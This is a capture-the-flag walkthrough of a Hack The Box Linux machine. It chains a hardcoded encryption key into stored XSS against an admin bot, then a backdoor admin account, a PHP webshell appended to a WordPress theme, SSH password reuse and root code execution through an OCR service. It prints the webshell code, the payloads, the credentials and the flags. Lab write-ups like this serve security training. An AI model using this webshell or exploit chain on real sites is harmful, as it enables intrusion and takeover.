MakeSense (HTB Medium Linux)
Author: 0xIDA
Solvers
Summary
WordPress agency site with client-side Whisper/AI pipeline. Hardcoded AES-GCM key lets an attacker forge encrypted transcriptions containing XSS; admin bot (walter) views them → account takeover. WP admin → theme editor RCE as www-data. DB password in wp-config reused for SSH as walter (user flag). Root OCR service on 127.0.0.1:8001 (Basic auth = walter) saves OCR text under saved/*.php and executes it as root via PHP built-in server.
Flags (live-verified)
User: 271a54c3c60e964a466046e719c4ec3b
Root: 5ec0e2beb4f4da907a2f7f0a9bf4981f
Root submitted via HTB MCP: success (MakeSense root owned).
Solution
1) Recon
22/tcp OpenSSH 9.6p1 Ubuntu
443/tcp Apache + WordPress 7.0 (Agency LLC / webagency theme)
8001/tcp filtered externally (OCR only on 127.0.0.1)
Voice voicemail: login phrase for jake → ClearLightNiceSmooth4923.
2) Encrypted XSS → admin bot
Theme JS (whisper-wrapper.js) embeds:
ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI'
AES-GCM: SHA-256(key) → raw AES key; IV||ciphertext||tag base64.
# forge payload then:
# POST admin-ajax.php action=submit_contact_form → post_id
# POST action=save_voice_results encrypted_payload=...
Stored XSS (img onerror / eval atob) is rendered when admin bot reviews messages. Bot is WP user id 3 (walter, Administrator).
Create backdoor admin:
- username:
pwner99 - password:
Pwn3r99!Pass
3) www-data RCE
Theme editor → functions.php → append:
add_action('init', function() {
if (isset($_REQUEST['pwncmd'], $_REQUEST['pwnkey']) && $_REQUEST['pwnkey']==='xK9m2') {
system($_REQUEST['pwncmd']); exit;
}
});
https://makesense.htb/?pwnkey=xK9m2&pwncmd=id → www-data.
4) User flag
wp-config.php (SQLite WP) still has:
DB_USER = walter
DB_PASSWORD = JbhHDAEgXvri3!
SSH password reuse:
sshpass -p 'JbhHDAEgXvri3!' ssh walter@TARGET 'cat user.txt'
# 271a54c3c60e964a466046e719c4ec3b
5) Root via OCR service
Process list:
root php -S 127.0.0.1:8001 -t /root/ocr4/
Basic auth: walter:JbhHDAEgXvri3!.
Flow: POST PNG → OCR text → save as saved/<basename>. PHP server executes saved/*.php as root.
Image that OCRs to <?php system('cat /root/root.txt');?> saved as getflag.php:
curl -u walter:... http://127.0.0.1:8001/saved/getflag.php
# 5ec0e2beb4f4da907a2f7f0a9bf4981f
Also works: webshell images (<?=system('id');?>) → saved/s.php.
Tools
nmap, wpscan, curl, python3 (AES-GCM, XSS exfil HTTP server), ssh/sshpass, tesseract (local verify of PNG text).
Pitfalls
document.cookieonly leaks non-HttpOnly cookies; use same-origin fetch/CSRF as bot.- OCR save always basenames into
saved/(absolute paths rewritten); use.phpexecution under the PHP built-in server instead of path traversal. - OCR returns HTML-entity text in UI but decoded content is what gets written to disk.
- Port 8001 filtered from VPN; attack from box as walter after SSH.